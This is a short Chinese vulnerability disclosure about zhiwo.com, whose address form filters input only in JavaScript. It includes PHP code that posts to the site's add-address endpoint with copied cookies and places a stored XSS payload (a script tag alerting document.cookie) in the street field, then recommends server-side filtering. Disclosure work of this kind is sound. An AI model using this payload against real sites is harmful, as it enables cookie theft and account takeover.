网站过滤不严
个人地址仅仅在js做了过滤，直接csrf构造post包
 
$url='http://www.zhiwo.com/account/ajax/add/address';
$ref='http://www.zhiwo.com/account/addresses';
$cookies='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';//copy你的cookies
$postfield=array(
    'recipient_name'=>'test',
    'recipient_province'=>'北京市',
    'recipient_city'=>'市辖区',
    'recipient_dist'=>'朝阳区',
    'recipient_street'=>'<script>alert(document.cookie);</script>',
    'recipient_zip'=>'100010',
    'recipient_mobile'=>'13212312345'
);
$postfield = http_build_query($postfield);
$result = curlrequest($url, $postfield,$ref,$cookies);

 
 
修复方案：

后台增加过滤即可

作者 taylortai